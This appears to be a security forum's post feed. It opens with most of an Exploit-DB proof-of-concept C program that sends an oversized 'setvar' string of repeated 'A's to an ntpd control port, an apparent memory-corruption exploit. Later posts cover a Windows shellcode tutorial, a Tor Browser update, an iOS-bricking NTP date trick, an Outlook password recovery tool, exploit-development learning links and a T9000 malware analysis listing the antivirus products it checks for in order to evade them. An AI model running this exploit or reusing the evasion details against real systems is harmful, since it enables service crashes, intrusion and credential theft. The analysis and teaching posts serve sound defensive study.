MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21); MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); buf[0] += a; buf[1] += b; buf[2] += c; buf[3] += d; } void byteSwap(uint32_t *buf, unsigned words) { unsigned char *p = (unsigned char *)buf; do { *buf++ = (uint32_t)((unsigned)p[3] << 8 | p[2]) << 16 | ((unsigned)p[1] << 8 | p[0]); p += 4; } while (--words); } /*! * Final wrapup - pad to 64-byte boundary with the bit pattern * 1 0* (64-bit count of bits processed, MSB-first) */ void isc_md5_final(isc_md5_t *ctx, unsigned char *digest) { int count = ctx->bytes[0] & 0x3f; /* Number of bytes in ctx->in */ unsigned char *p = (unsigned char *)ctx->in + count; /* Set the first char of padding to 0x80. There is always room. */ *p++ = 0x80; /* Bytes of padding needed to make 56 bytes (-8..55) */ count = 56 - 1 - count; if (count < 0) { /* Padding forces an extra block */ memset(p, 0, count + 8); byteSwap(ctx->in, 16); transform(ctx->buf, ctx->in); p = (unsigned char *)ctx->in; count = 56; } memset(p, 0, count); byteSwap(ctx->in, 14); /* Append length in bits and transform */ ctx->in[14] = ctx->bytes[0] << 3; ctx->in[15] = ctx->bytes[1] << 3 | ctx->bytes[0] >> 29; transform(ctx->buf, ctx->in); byteSwap(ctx->buf, 4); memcpy(digest, ctx->buf, 16); memset(ctx, 0, sizeof(isc_md5_t)); /* In case it's sensitive */ } /*! * Update context to reflect the concatenation of another buffer full * of bytes. */ void isc_md5_update(isc_md5_t *ctx, const unsigned char *buf, unsigned int len) { uint32_t t; /* Update byte count */ t = ctx->bytes[0]; if ((ctx->bytes[0] = t + len) < t) ctx->bytes[1]++; /* Carry from low to high */ t = 64 - (t & 0x3f); /* Space available in ctx->in (at least 1) */ if (t > len) { memcpy((unsigned char *)ctx->in + 64 - t, buf, len); return; } /* First chunk is an odd size */ memcpy((unsigned char *)ctx->in + 64 - t, buf, t); byteSwap(ctx->in, 16); transform(ctx->buf, ctx->in); buf += t; len -= t; /* Process data in 64-byte chunks */ while (len >= 64) { memcpy(ctx->in, buf, 64); byteSwap(ctx->in, 16); transform(ctx->buf, ctx->in); buf += 64; len -= 64; } /* Handle any remaining bytes of data. */ memcpy(ctx->in, buf, len); } /*! * Start MD5 accumulation. Set bit count to 0 and buffer to mysterious * initialization constants. */ void isc_md5_init(isc_md5_t *ctx) { ctx->buf[0] = 0x67452301; ctx->buf[1] = 0xefcdab89; ctx->buf[2] = 0x98badcfe; ctx->buf[3] = 0x10325476; ctx->bytes[0] = 0; ctx->bytes[1] = 0; } /* * MD5authencrypt - generate message digest * * Returns length of MAC including key ID and digest. */ int MD5authencrypt( int type, /* hash algorithm */ u_char *key, /* key pointer */ uint32_t *pkt, /* packet pointer */ int length /* packet length */ ) { u_char digest[EVP_MAX_MD_SIZE]; u_int len; EVP_MD_CTX ctx; /* * Compute digest of key concatenated with packet. Note: the * key type and digest type have been verified when the key * was creaded. */ INIT_SSL(); EVP_DigestInit(&ctx, EVP_get_digestbynid(type)); EVP_DigestUpdate(&ctx, key, (u_int)cache_keylen); EVP_DigestUpdate(&ctx, (u_char *)pkt, (u_int)length); EVP_DigestFinal(&ctx, digest, &len); memmove((u_char *)pkt + length + 4, digest, len); return (len + 4); } /* * authhavekey - return one and cache the key, if known and trusted. */ int authhavekey( keyid_t keyno ) { struct savekey *sk; authkeylookups++; if (keyno == 0 || keyno == cache_keyid) return (1); /* * Seach the bin for the key. If found and the key type * is zero, somebody marked it trusted without specifying * a key or key type. In this case consider the key missing. */ authkeyuncached++; sk = key_hash[KEYHASH(keyno)]; while (sk != NULL) { if (keyno == sk->keyid) { if (sk->type == 0) { authkeynotfound++; return (0); } break; } sk = sk->next; } /* * If the key is not found, or if it is found but not trusted, * the key is not considered found. */ if (sk == NULL) { authkeynotfound++; return (0); } if (!(sk->flags & KEY_TRUSTED)) { authnokey++; return (0); } /* * The key is found and trusted. Initialize the key cache. */ cache_keyid = sk->keyid; cache_type = sk->type; cache_flags = sk->flags; cache_key = sk->k.MD5_key; cache_keylen = sk->keylen; return (1); } /* * authencrypt - generate message authenticator * * Returns length of authenticator field, zero if key not found. */ int authencrypt( keyid_t keyno, uint32_t *pkt, int length ) { /* * A zero key identifier means the sender has not verified * the last message was correctly authenticated. The MAC * consists of a single word with value zero. */ authencryptions++; pkt[length / 4] = htonl(keyno); if (keyno == 0) { return (4); } if (!authhavekey(keyno)) return (0); return (MD5authencrypt(cache_type, cache_key, pkt, length)); } /* * authtrust - declare a key to be trusted/untrusted */ void authtrust( keyid_t keyno, u_long trust ) { struct savekey *sk; /* * Search bin for key; if it does not exist and is untrusted, * forget it. */ sk = key_hash[KEYHASH(keyno)]; while (sk != 0) { if (keyno == sk->keyid) break; sk = sk->next; } if (sk == 0 && !trust) return; /* * There are two conditions remaining. Either it does not * exist and is to be trusted or it does exist and is or is * not to be trusted. */ if (sk != 0) { if (cache_keyid == keyno) { cache_flags = 0; cache_keyid = 0; } /* * Key exists. If it is to be trusted, say so and * update its lifetime. If not, return it to the * free list. */ if (trust > 0) { sk->flags |= KEY_TRUSTED; if (trust > 1) sk->lifetime = current_time + trust; else sk->lifetime = 0; return; } sk->flags &= ~KEY_TRUSTED; { struct savekey *skp; skp = key_hash[KEYHASH(keyno)]; if (skp == sk) { key_hash[KEYHASH(keyno)] = sk->next; } else { while (skp->next != sk) skp = skp->next; skp->next = sk->next; } authnumkeys--; sk->next = authfreekeys; authfreekeys = sk; authnumfreekeys++; } return; } /* * Here there is not key, but the key is to be trusted. There * seems to be a disconnect here. Here we allocate a new key, * but do not specify a key type, key or key length. */ if (authnumfreekeys == 0) if (auth_moremem() == 0) return; sk = authfreekeys; authfreekeys = sk->next; authnumfreekeys--; sk->keyid = keyno; sk->type = 0; sk->keylen = 0; sk->flags = KEY_TRUSTED; sk->next = key_hash[KEYHASH(keyno)]; key_hash[KEYHASH(keyno)] = sk; authnumkeys++; return; } /* * auth_moremem - get some more free key structures */ int auth_moremem(void) { struct savekey *sk; int i; sk = (struct savekey *)calloc(MEMINC, sizeof(struct savekey)); if (sk == 0) return (0); for (i = MEMINC; i > 0; i--) { sk->next = authfreekeys; authfreekeys = sk++; } authnumfreekeys += MEMINC; return (authnumfreekeys); } void MD5auth_setkey( keyid_t keyno, int keytype, const u_char *key, const int len ) { struct savekey *sk; /* * See if we already have the key. If so just stick in the * new value. */ sk = key_hash[KEYHASH(keyno)]; while (sk != NULL) { if (keyno == sk->keyid) { sk->type = keytype; sk->keylen = min(len, sizeof(sk->k.MD5_key)); #ifndef DISABLE_BUG1243_FIX memcpy(sk->k.MD5_key, key, sk->keylen); #else strncpy((char *)sk->k.MD5_key, (const char *)key, sizeof(sk->k.MD5_key)); #endif if (cache_keyid == keyno) { cache_flags = 0; cache_keyid = 0; } return; } sk = sk->next; } /* * Need to allocate new structure. Do it. */ if (0 == authnumfreekeys && !auth_moremem()) return; sk = authfreekeys; authfreekeys = sk->next; authnumfreekeys--; sk->keyid = keyno; sk->type = keytype; sk->flags = 0; sk->lifetime = 0; sk->keylen = min(len, sizeof(sk->k.MD5_key)); #ifndef DISABLE_BUG1243_FIX memcpy(sk->k.MD5_key, key, sk->keylen); #else strncpy((char *)sk->k.MD5_key, (const char *)key, sizeof(sk->k.MD5_key)); #endif sk->next = key_hash[KEYHASH(keyno)]; key_hash[KEYHASH(keyno)] = sk; #ifdef DEBUG if (debug > 1) { char hex[] = "0123456789abcdef"; int j; printf("auth_setkey: key %d type %d len %d ", sk->keyid, sk->type, sk->keylen); for (j = 0; j < sk->keylen; j++) printf("%c%c", hex[key[j] >> 4], hex[key[j] & 0xf]); printf("\n"); } #endif authnumkeys++; } /* * Types of ascii representations for keys. "Standard" means a 64 bit * hex number in NBS format, i.e. with the low order bit of each byte * a parity bit. "NTP" means a 64 bit key in NTP format, with the * high order bit of each byte a parity bit. "Ascii" means a 1-to-8 * character string whose ascii representation is used as the key. */ int authusekey( keyid_t keyno, int keytype, const u_char *str ) { const u_char *cp; int len; cp = str; len = strlen((const char *)cp); if (len == 0) return 0; MD5auth_setkey(keyno, keytype, str, (int)strlen((const char *)str)); return 1; } /* * keytype_name returns OpenSSL short name for digest by NID. * * Used by ntpq and ntpdc keytype() */ const char * keytype_name( int nid ) { static const char unknown_type[] = "(unknown key type)"; const char *name; #ifdef OPENSSL INIT_SSL(); name = OBJ_nid2sn(nid); if (NULL == name) name = unknown_type; #else /* !OPENSSL follows */ if (NID_md5 == nid) name = "MD5"; else name = unknown_type; #endif return name; } /* * getpass_keytype() -- shared between ntpq and ntpdc, only vaguely * related to the rest of ssl_init.c. */ char * getpass_keytype( int keytype ) { char pass_prompt[64 + 11 + 1]; /* 11 for " Password: " */ snprintf(pass_prompt, sizeof(pass_prompt), "%.64s Password: ", keytype_name(keytype)); return getpass(pass_prompt); } int authistrusted( keyid_t keyno ) { struct savekey *sk; if (keyno == cache_keyid) return ((cache_flags & KEY_TRUSTED) != 0); authkeyuncached++; sk = key_hash[KEYHASH(keyno)]; while (sk != 0) { if (keyno == sk->keyid) break; sk = sk->next; } if (sk == 0) { authkeynotfound++; return (0); } else if (!(sk->flags & KEY_TRUSTED)) { authkeynotfound++; return (0); } return (1); } u_long getkeyid( const char *keyprompt ) { int c; FILE *fi; char pbuf[20]; size_t i; size_t ilim; #ifndef SYS_WINNT if ((fi = fdopen(open("/dev/tty", 2), "r")) == NULL) #else if ((fi = _fdopen(open("CONIN$", _O_TEXT), "r")) == NULL) #endif /* SYS_WINNT */ fi = stdin; else setbuf(fi, (char *)NULL); fprintf(stderr, "%s", keyprompt); fflush(stderr); for (i = 0, ilim = COUNTOF(pbuf) - 1; i < ilim && (c = getc(fi)) != '\n' && c != EOF; ) pbuf[i++] = (char)c; pbuf[i] = '\0'; if (fi != stdin) fclose(fi); return (u_long) atoi(pbuf); } void warning( const char *fmt, const char *st1, const char *st2 ) { (void) fprintf(stderr, "%s: ", progname); (void) fprintf(stderr, fmt, st1, st2); (void) fprintf(stderr, ": "); perror(""); } int sendpkt( void * xdata, size_t xdatalen ) { if (debug >= 3) printf("Sending %lu octets\n", (u_long)xdatalen); sendto(sockfd,xdata,(size_t)xdatalen, 0,(struct sockaddr *)&serverAddr,addr_size); if (debug >= 4) { int first = 8; char *cdata = xdata; printf("Packet data:\n"); while (xdatalen-- > 0) { if (first-- == 0) { printf("\n"); first = 7; } printf(" %02x", *cdata++ & 0xff); } printf("\n"); } return 0; } void error(char *msg) { perror(msg); exit(0); } int main(int argc, char *argv[]) { char *cfgcmd; u_short rstatus; int rsize; const char *rdata; char *resp; int res; int col; int i; int portNum, nBytes; char buffer[1024]; /*Create UDP socket*/ sockfd = socket(PF_INET, SOCK_DGRAM, 0); /*Configure settings in address struct*/ serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(123); serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero); /*Initialize size variable to be used later on*/ addr_size = sizeof serverAddr; cfgcmd = "setvar A = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; res = sendrequest(CTL_OP_CONFIGURE, 0, 1, strlen(cfgcmd), cfgcmd, &rstatus, &rsize, &rdata); sleep(5); cfgcmd = "A"; res = sendrequest(CTL_OP_READVAR, 0, 1, strlen(cfgcmd), cfgcmd, &rstatus, &rsize, &rdata); } /* * sendrequest - format and send a request packet */ int sendrequest( int opcode, int associd, int auth, int qsize, char *qdata ) { struct ntp_control qpkt; int pktsize; u_long key_id; char * pass; int maclen; /* * Check to make sure the data will fit in one packet */ if (qsize > CTL_MAX_DATA_LEN) { fprintf(stderr, "***Internal error! qsize (%d) too large\n", qsize); return 1; } /* * Fill in the packet */ qpkt.li_vn_mode = PKT_LI_VN_MODE(0, pktversion, MODE_CONTROL); qpkt.r_m_e_op = (u_char)(opcode & CTL_OP_MASK); qpkt.sequence = htons(sequence); qpkt.status = 0; qpkt.associd = htons((u_short)associd); qpkt.offset = 0; qpkt.count = htons((u_short)qsize); pktsize = CTL_HEADER_LEN; /* * If we have data, copy and pad it out to a 32-bit boundary. */ if (qsize > 0) { memcpy(qpkt.data, qdata, (size_t)qsize); pktsize += qsize; while (pktsize & (sizeof(uint32_t) - 1)) { qpkt.data[qsize++] = 0; pktsize++; } } /* * If it isn't authenticated we can just send it. Otherwise * we're going to have to think about it a little. */ if (!auth && !always_auth) { return sendpkt(&qpkt, pktsize); } /* * Pad out packet to a multiple of 8 octets to be sure * receiver can handle it. */ while (pktsize & 7) { qpkt.data[qsize++] = 0; pktsize++; } /* * Get the keyid and the password if we don't have one. */ if (info_auth_keyid == 0) { key_id = getkeyid("Keyid: "); if (key_id == 0 || key_id > NTP_MAXKEY) { fprintf(stderr, "Invalid key identifier\n"); return 1; } info_auth_keyid = key_id; } if (!authistrusted(info_auth_keyid)) { pass = getpass_keytype(info_auth_keytype); if ('\0' == pass[0]) { fprintf(stderr, "Invalid password\n"); return 1; } authusekey(info_auth_keyid, info_auth_keytype, (u_char *)pass); authtrust(info_auth_keyid, 1); } /* * Do the encryption. */ maclen = authencrypt(info_auth_keyid, (void *)&qpkt, pktsize); if (!maclen) { fprintf(stderr, "Key not found\n"); return 1; } else if ((size_t)maclen != (info_auth_hashlen + sizeof(keyid_t))) { fprintf(stderr, "%d octet MAC, %lu expected with %lu octet digest\n", maclen, (u_long)(info_auth_hashlen + sizeof(keyid_t)), (u_long)info_auth_hashlen); return 1; } return sendpkt((char *)&qpkt, pktsize + maclen); } Sursa: https://www.exploit-db.com/exploits/39445/
  8. Poate au disparut de la problemele din trecut, nu de la migrarea la noua platforma. O sa verific cand o sa am ceva timp.
  9. Din link pot scoate doar acel ID si titlul SEO friendly. Da, teoretic pot sa caut acel titlu dar nu am certitudinea ca gasesc ceea ce trebuie si nu am timp sa implementez asa ceva, mai ales un motor heuristic de cautare. O sa isi revina SEO dupa 2-3 luni cand site-ul va fi reindexat.
  10. E redirectionare catre homepage, dar nu am ce face mai multe, nu mai corespund acele ID-uri...
  11. Introduction to Windows shellcode development – Part 3 February 15, 2016 Ionut Popescu If you missed the first two parts of this article, you can find in Part I what is a shellcode, how it works and which are its limitations and in Part II you can read about the PEB (Process Environment Block) structure, the PE (.exe, .dll) file format and you can go through a short ASM introduction. You’ll need this information in order to properly understand Windows shellcodes. In this last part of the shellcode development introduction, we will write a simple “SwapMouseButton” shellcode, a shellcode that will swap left and right mouse buttons. We will start from an existing shellcode: “Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode“. The shellcode name tells us a few things, such like it uses: URLDownloadToFile Windows API function to download a file WinExec to execute the file (executable file: .exe) ExitProcess will terminate the process running the shellcode Using this example, we will call SwapMouseButton function and ExitProcess function. I’m pretty sure it is easy to understand what these functions do. BOOL WINAPI SwapMouseButton( _In_ BOOL fSwap ); VOID WINAPI ExitProcess( _In_ UINT uExitCode ); As you can see, each function has only one parameter: fSwap parameter can be TRUE or FALSE. If it is TRUE, the mouse buttons are swapped, else they are restored. uExitCode represents the process exit code. Each process must return a value on exit (zero if everything was ok, any other value otherwise). This is the “return 0” of the main function. Link: http://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/
  12. Tor Browser 5.5.2 is released Tor Browser 5.5.2 is now available from the Tor Browser Project page and also from our distribution directory. This release features important security updates to Firefox. Users on the security level "High" or "Medium-High" were not affected by the bugs in the Graphite font rendering library. The full changelog since 5.5.1 is: Tor Browser 5.5.2 -- February 12 2016 All Platforms Update Firefox to 38.6.1esr Update NoScript to 2.9.0.3 Sursa: https://blog.torproject.org/blog/tor-browser-552-released
      • 2
      • Upvote
  13. "NTP server set to 1.1.1970 on a public hotspot will brick IOS devices (iPad and iPhones), requiring physical repair."
  14. Au mai zis asta si in trecut...
  15. Lasand la o parte promotia, e foarte utila pentru cei care vor sa sune in strainatate si din cate stiu eu se poate folosi si in alte tari (nu stiu in ce conditii/tarife).
  16. Outlook Password Decryptor Outlook stores the password for subsequent logins when user selects the 'Remember Password' option during authentication. The password is stored in the encrypted format and only respective user can decrypt the password. Outlook Password Decryptor can instantly decrypt and recover all these account passwords. For command-line version, check out our new tool - Outlook Password Dump. Note: Outlook Password Decryptor is not hacking or cracking tool as it can only help you to recover your own lost password that is previously stored in your system. Outlook Password Decryptor can recover passwords from all versions beginning with Outlook Express to latest version, Outlook 2015. It works on wide range of platforms starting from Windows XP to new Windows 10 version. Features Outlook Password Decryptor is the all-in-one tool to recover passwords from all versions of Outlook. Also it can decrypt passwords from different type of Email account configurations supported by Outlook, such as Exchange Server IMAP POP3 SMTP LDAP HTTP On starting, it automatically detects the current Outlook version along with user & platform information. It also provides option to save the recovered password list to HTML/TEXT /XML/CSV file for future use. Link: http://securityxploded.com/outlookpassworddecryptor.php
      • 1
      • Upvote
  17. The best resources for learning exploit development Fabio Baroni Penetration tester Books Hacking - The art of exploitation A bug Hunter's Diary: A Guided Tour Through the Wilds of Software Security The Shellcoder's Handbook: Discovering and Exploiting Security Holes Sockets, shellcode, Porting, and coding: reverse engineering Exploits and Tool coding for security professionals Writing Security tools and Exploits Buffer overflow attacks: Detect, exploit, Prevent Metasploit toolkit for Penetration Testing, exploit development, and vulnerability research TUTORIALS Corelan.be https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/ https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/ https://www.corelan.be/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/ https://www.corelan.be/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/ https://www.corelan.be/index.php/2009/09/05/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development/ https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/ https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/ https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/ https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/ https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/ https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ https://www.corelan.be/index.php/2010/01/26/starting-to-write-immunity-debugger-pycommands-my-cheatsheet/ https://www.corelan.be/index.php/2010/03/22/ken-ward-zipper-exploit-write-up-on-abysssec-com/ https://www.corelan.be/index.php/2010/03/27/exploiting-ken-ward-zipper-taking-advantage-of-payload-conversion/ https://www.corelan.be/index.php/2011/01/30/hack-notes-rop-retnoffset-and-impact-on-stack-setup/ https://www.corelan.be/index.php/2011/05/12/hack-notes-ropping-eggs-for-breakfast/ https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/ https://www.corelan.be/index.php/2012/02/29/debugging-fun-putting-a-process-to-sleep/ https://www.corelan.be/index.php/2012/12/31/jingle-bofs-jingle-rops-sploiting-all-the-things-with-mona-v2/ https://www.corelan.be/index.php/2013/02/26/root-cause-analysis-memory-corruption-vulnerabilities/ https://www.corelan.be/index.php/2013/01/18/heap-layout-visualization-with-mona-py-and-windbg/ https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/ https://www.corelan.be/index.php/2013/07/02/root-cause-analysis-integer-overflows/ Massimiliano Tomassoli's blog http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/ Samsclass.info https://samsclass.info/127/127_F15.shtml Securitysift.com http://www.securitysift.com/windows-exploit-development-part-1-basics/ http://www.securitysift.com/windows-exploit-development-part-2-intro-stack-overflow/ http://www.securitysift.com/windows-exploit-development-part-3-changing-offsets-and-rebased-modules/ http://www.securitysift.com/windows-exploit-development-part-4-locating-shellcode-jumps/ http://www.securitysift.com/windows-exploit-development-part-5-locating-shellcode-egghunting http://www.securitysift.com/windows-exploit-development-part-6-seh-exploits http://www.securitysift.com/windows-exploit-development-part-7-unicode-buffer-overflows Justbeck.com http://www.justbeck.com/getting-started-in-exploit-development/ 0xdabbad00.com http://0xdabbad00.com/2012/12/09/hurdles-for-a-beginner-to-exploit-a-simple-vulnerability-on-modern-windows/ fuzzysecurity.com Part 1: Introduction to Exploit Development Part 2: Saved Return Pointer Overflows Part 3: Structured Exception Handler (SEH) Part 4: Egg Hunters Part 5: Unicode 0x00410041 Part 6: Writing W32 shellcode Part 7: Return Oriented Programming Part 8: Spraying the Heap [Chapter 1: Vanilla EIP] Part 9: Spraying the Heap [Chapter 2: Use-After-Free] sploitfun.wordpress.com https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/ sneakerhax.com http://sneakerhax.com/jumping-into-exploit-development/ community.rapid7.com https://community.rapid7.com/community/metasploit/blog/2012/07/05/part-1-metasploit-module-development--the-series resources.infosecinstitute.com http://resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/ rafayhackingarticles.net http://www.rafayhackingarticles.net/2011/07/from-minor-bug-to-zero-day-exploit.html TRAININGS Opensecuritytraining.info http://opensecuritytraining.info/Exploits1.html http://opensecuritytraining.info/Exploits2.html Module 12 of Advanced penetration testing cource on Cybrary.it https://www.cybrary.it/course/advanced-penetration-testing/ Securitytube.net http://www.securitytube.net/groups?operation=view&groupId=7 research megaprimer http://www.securitytube.net/groups?operation=view&groupId=4 exploitation for linux megaprimer http://www.securitytube.net/groups?operation=view&groupId=3 Format string vulnerabilities megaprimer infiniteskills.com http://www.infiniteskills.com/training/reverse-engineering-and-exploit-development.html COURSES Corelan https://www.corelan-training.com Offensive Security https://www.offensive-security.com/information-security-training/advanced-windows-exploitation/ AWE (Advanced windowsexploitation) SANS https://www.sans.org/course/advance-exploit-development-pentetration-testers SANS SEC760: Advancedexploitdevelopment for Penetration Testers Udemy https://www.udemy.com/windows-exploit-development-megaprimer/learn/#/ windows exploit developmentMegaprimer by Ajin Abraham TOOLS IDA Pro OllyDbg WinDbg Mona.py HEAP EXPLOITATION TECHNIQUES https://github.com/shellphish/how2heap VULNERABLE APPLICATIONS Exploit-exercises.com https://exploit-exercises.com/protostar/ Protostar https://exploit-exercises.com/fusion/ Fusion 28 hacking sites to practise your skills in a legal way https://www.peerlyst.com/blog-post/practise-your-infosec-skill-on-these-legal-28-hacking-sites EXPLOITS database https://www.exploit-db.com https://www.milw00rm.com http://0day.today https://packetstormsecurity.com http://www.securityfocus.com http://www.windowsexploits.com http://iedb.ir http://www.macexploit.com Sursa: https://www.peerlyst.com/posts/the-best-resources-for-learning-exploit-development
  18. T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques POSTED BY: Josh Grunzweig and Jen Miller-Osborn on February 4, 2016 1:00 PM FILED IN: Malware, Threat Prevention, Unit 42 TAGGED: Skype, T5000, T9000, Trojans Most custom backdoors used by advanced attackers have limited functionality. They evade detection by keeping their code simple and flying under the radar. But during a recent investigation we found a backdoor that takes a very different approach. We refer to this backdoor as T9000, which is a newer variant of the T5000 malware family, also known as Plat1. In addition to the basic functionality all backdoors provide, T9000 allows the attacker to capture encrypted data, take screenshots of specific applications and specifically target Skype users. The malware goes to great lengths to identify a total of 24 potential security products that may be running on a system and customizes its installation mechanism to specifically evade those that are installed. It uses a multi-stage installation process with specific checks at each point to identify if it is undergoing analysis by a security researcher. The primary functionality of this tool is to gather information about the victim. In fact, the author chose to store critical files dropped by the Trojan in a directory named “Intel.” T9000 is pre-configured to automatically capture data about the infected system and steal files of specific types stored on removable media. We have observed T9000 used in multiple targeted attacks against organizations based in the United States. However, the malware’s functionality indicates that the tool is intended for use against a broad range of users. In this report, we share an analysis of each stage in T9000’s execution flow. Stay tuned for a future report in which we will provide more detail on how this tool has been used and the infrastructure we have identified as part of our analysis. T9000 Backdoor Analysis The entire execution flow of the malware is represented in the following diagram: As this malware uses a multistage execution flow, we’ll discuss each stage individually. Initial Exploitation The sample of T9000 used in this analysis was originally dropped via a RTF file that contained exploits for both CVE-2012-1856 and CVE-2015-1641. When triggered, an initial shellcode stage is run, which is responsible for locating and executing a secondary shellcode stub. The second stage shellcode reads the initial RTF document and seeks to the end of the file, using the last four bytes as the size of the embedded payload. With the payload size confirmed, the shellcode will create a file in the %TEMP% folder using a temporary filename. The shellcode will decrypt and subsequently load the embedded payload in the RTF file. The decrypted payload is written to the temporary file and executed using WinExec. The shellcode then attempts to decrypt an embedded decoy document with the same algorithm used to decrypt the payload, which it will save to %TEMP%\~tmp.doc path. This file is opened using the following command: cmd /C %TEMP%\~tmp.doc However, this particular sample did not contain a decoy document. Stage 1 When this temporary file is initially executed, it will begin by creating the following mutex to ensure only one instance of the malware is running at a given time: 820C90CxxA1B084495866C6D95B2595xx1C3 It continues to perform a number of checks for installed security products on the victim machine. The following security platforms are queried by checking entries within the HKLM\Software\ registry path: Sophos INCAInternet DoctorWeb Baidu Comodo TrustPortAntivirus GData AVG BitDefender VirusChaser McAfee Panda Trend Micro Kingsoft Norton Micropoint Filseclab AhnLab JiangMin Tencent Avira Kaspersky Rising 360 These security products are represented by a value that is binary AND-ed with any other products found. The following numbers represent each respective security product. 0x08000000 : Sophos 0x02000000 : INCAInternet 0x04000000 : DoctorWeb 0x00200000 : Baidu 0x00100000 : Comodo 0x00080000 : TrustPortAntivirus 0x00040000 : GData 0x00020000 : AVG 0x00010000 : BitDefender 0x00008000 : VirusChaser 0x00002000 : McAfee 0x00001000 : Panda 0x00000800 : Trend Micro 0x00000400 : Kingsoft 0x00000200 : Norton 0x00000100 : Micropoint 0x00000080 : Filseclab 0x00000040 